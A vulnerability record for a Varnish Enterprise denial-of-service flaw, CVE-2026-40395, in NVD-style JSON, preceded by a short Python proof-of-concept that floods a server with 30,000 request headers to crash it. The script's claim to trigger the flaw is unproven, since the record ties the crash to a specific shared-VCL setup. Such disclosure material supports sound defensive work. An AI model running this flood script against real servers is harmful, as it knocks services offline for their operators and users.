CVE-2026-40395

import socket # PoC for CVE-2026-40395 # This script sends a request with a large number of headers # to trigger a workspace overflow in Varnish Enterprise. def send_malicious_request(target_host, target_port=80): # Construct a payload with excessive headers headers = "" # Sending a large number of headers to exhaust req0 workspace for i in range(30000): headers += f"X-Varnish-Overflow-{i}: TestValue\r\n" request = f"GET / HTTP/1.1\r\nHost: {target_host}\r\n" + headers + "\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) s.send(request.encode('utf-8')) print("[+] Payload sent to %s:%d" % (target_host, target_port)) s.close() except Exception as e: print(f"[-] Error: {e}") # Usage: send_malicious_request("127.0.0.1", 6081)

{"cve": {"id": "CVE-2026-40395", "sourceIdentifier": "[email protected]", "published": "2026-04-12T20:16:18.893", "lastModified": "2026-04-17T14:37:34.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Varnish Enterprise before 6.0.16r12 allows a \"workspace overflow\" denial of service (daemon panic) for shared VCL. The headerplus.write_req0() function from vmod_headerplus updates the underlying req0, which is normally the original read-only request from which req is derived (readable and writable from VCL). This is useful in the active VCL, after amending req, to prepare a refined req0 before switching to a different VCL with the return (vcl(<label>)) action. This is for example how the Varnish Controller operates shared VCL deployments. If the amended req contained too many header fields for req0, this would have resulted in a workspace overflow that would in turn trigger a panic and crash the Varnish Enterprise server. This could be used as a Denial of Service attack vector by malicious clients."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.0.15", "matchCriteriaId": "E53A64C0-FC22-40B5-8C3B-6288B44AC3FC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r1:*:*:*:*:*:*", "matchCriteriaId": "F24D68B5-362E-4797-B6DE-C19A2893186C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r10:*:*:*:*:*:*", "matchCriteriaId": "910BAD01-26E5-4D12-AA23-0BD2D48F229C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r11:*:*:*:*:*:*", "matchCriteriaId": "BCF39307-6F25-4D97-8901-EE1A80A66AD9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r2:*:*:*:*:*:*", "matchCriteriaId": "05E529DF-DEE1-4A62-998B-CA312DF888FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r3:*:*:*:*:*:*", "matchCriteriaId": "8AB27B34-2951-4755-851C-7C942DAFB6C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r4:*:*:*:*:*:*", "matchCriteriaId": "18A22D42-B038-4E09-92DD-8AFD2F51A340"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r5:*:*:*:*:*:*", "matchCriteriaId": "FE76D616-3AA8-4D9A-9D41-9AE35FE20DBC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r6:*:*:*:*:*:*", "matchCriteriaId": "9C5610CF-1FE4-4DF8-8D49-7C0CCF0359E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r7:*:*:*:*:*:*", "matchCriteriaId": "27B776B2-9C38-45BE-89E4-ECDEEAE538A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r8:*:*:*:*:*:*", "matchCriteriaId": "ED3CA600-C88D-4825-8C36-E052822AF59F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:varnish-software:varnish_enterprise:6.0.16:r9:*:*:*:*:*:*", "matchCriteriaId": "6B1D57B1-9771-4195-9EE3-B26EA776FB6B"}]}]}], "references": [{"url": "https://docs.varnish-software.com/security/VEV00003/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}